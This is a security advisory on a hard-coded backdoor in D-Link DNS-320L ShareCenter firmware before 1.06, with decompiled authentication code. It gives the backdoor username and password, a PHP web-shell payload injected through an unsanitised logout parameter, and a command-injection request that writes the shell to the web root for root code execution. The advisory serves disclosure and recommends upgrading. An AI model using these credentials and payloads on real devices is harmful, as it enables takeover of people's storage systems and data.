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                     GulfTech Research and Development                                                                                  

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#                  D-Link DNS-320L ShareCenter Backdoor                   #
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Released Date: 2018-01-03
Last Modified: 2017-06-14
 Company Info: D-Link
 Version Info: 
              Vulnerable
               D-Link DNS-320L ShareCenter < 1.06
               Possibly various other ShareCenter devices

              Not Vulnerable
               D-Link DNS-320L ShareCenter >= 1.06
 

--[ Table of contents

00 - Introduction
    00.1 Background

01 - Hard coded backdoor
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Credit

03 - Proof of concept

04 - Solution

05 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that GulfTech has 
recently completed regarding the D-Link DNS 320L ShareCenter.

--[ 00.1 - Background

D-Link Share Center 2-Bay Cloud Storage 2000 (DNS-320L) aims to be a 
solution to share, stream, manage and back up all of your digital files by 
creating your own personal Cloud. 


--[ 01 - Hard coded backdoor

While doing some research on another device, I came across a hard coded
backdoor within one of the CGI binaries. Several different factors such as
similar file structure and naming schemas led me to believe that the code
that was in the other device was also shared with the DNS-320L ShareCenter.
As it turned out our hunch was correct. An advisory regarding the other
vulnerable device in question will be released in the future, as the vendor
for that device is still in the process of addressing the issues.

Now, let's take a moment to focus on the following file which is a standard 
Linux ELF executable and pretty easy to go through. 

/usr/local/modules/cgi/nas_sharing.cgi

The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" and
contains the following function that is used to authenticate the user. 

--[ 01.1 - Vulnerable code analysis

Below is the psuedocode created from the disassembly of the binary. I have
renamed the function to "re_BACKDOOR" to visually identify it more easily.

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
  const char *v2; // r5@1
  const char *v3; // r4@1
  struct passwd *result; // r0@4
  FILE *v5; // r6@5
  struct passwd *v6; // r5@7
  const char *v7; // r0@9
  size_t v8; // r0@10
  int v9; // [sp+0h] [bp-1090h]@1
  char s; // [sp+1000h] [bp-90h]@1
  char dest; // [sp+1040h] [bp-50h]@1

  v2 = a2;
  v3 = a1;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x40u);
  memset(&v9, 0, 0x1000u);
  if ( *v2 )
  {
    v8 = strlen(v2);
    _b64_pton(v2, (u_char *)&v9, v8);
    if ( dword_2C2E4 )
    {
      sub_1194C((const char *)&unk_1B1A4, v2);
      sub_1194C("pwd decode[%s]\n", &v9);
    }
  }
  if (!strcmp(v3, "mydlinkBRionyg") 
  &&  !strcmp((const char *)&v9, "abc12345cba") )
  {
    result = (struct passwd *)1;
  }
  else
  {
    v5 = (FILE *)fopen64("/etc/shadow", "r");
    while ( 1 )
    {
      result = fgetpwent(v5);
      v6 = result;
      if ( !result )
        break;
      if ( !strcmp(result->pw_name, v3) )
      {
        strcpy(&s, v6->pw_passwd);
        fclose(v5);
        strcpy(&dest, (const char *)&v9);
        v7 = (const char *)sub_1603C(&dest, &s);
        return (struct passwd *)(strcmp(v7, &s) == 0);
      }
    }
  }
  return result;
}

As you can see in the above code, the login functionality specifically
looks for an admin user named "mydlinkBRionyg" and will accept the password
of "abc12345cba" if found. This is a classic backdoor. Simply login with 
the credentials that were just mentioned from the above code.

--[ 01.2 - Remote exploitation

Exploiting this backdoor is fairly trivial, but I wanted a root shell, not 
just admin access with the possibility of shell access. So, I started 
looking at the functionality of this file and noticed the method referenced 
when the "cmd" parameter was set to "15". This particular method happened 
to contain a command injection issue. Now I could turn this hard coded
backdoor into a root shell, and gain control of the affected device.

However, our command injection does not play well with spaces, or special 
characters such as "$IFS", so I got around this by just playing ping pong
with pipes, and syslog() in order to create a PHP shell. These are the 
steps that I took to achieve this.

STEP01: We send a logout request to /cgi-bin/login_mgr.cgi?cmd=logout with
the "name" parameter value set to that of our malicious PHP wrapper code 
within our POST data. This "name" parameter is never sanitized.

name=<?php unlink(__FILE__);eval($_REQUEST[01100111]);?>

At this point we have successfully injected our payload into the user logs, 
as the name of the user who logouts is written straight to the user logs. A 
user does not have to be logged in, in order to logout and inject data.

STEP02: We now use cat to readin the user log file and pipe it out to the
web directory in order to create our PHP web shell.

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=15&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&system=cat</var/log/user.log>/var/www/shell.php HTTP/1.1

At this point an attacker can now simply visit the newly created web shell
and execute any PHP code that they choose, as root.

https://sharecenterhostname/shell.php?01100111=phpinfo();

By sending a request like the one above a remote attacker would cause the
phpinfo() function to be displayed, thus demonstrating successful remote 
exploitation as root.


--[ 02 - Credit

James Bercegay
GulfTech Research and Development


--[ 03 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 04 - Solution

Upgrade to firmware version 1.06 or later. See the official vendor website
for further details.


--[ 05 - Contact information

Web
https://gulftech.org

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.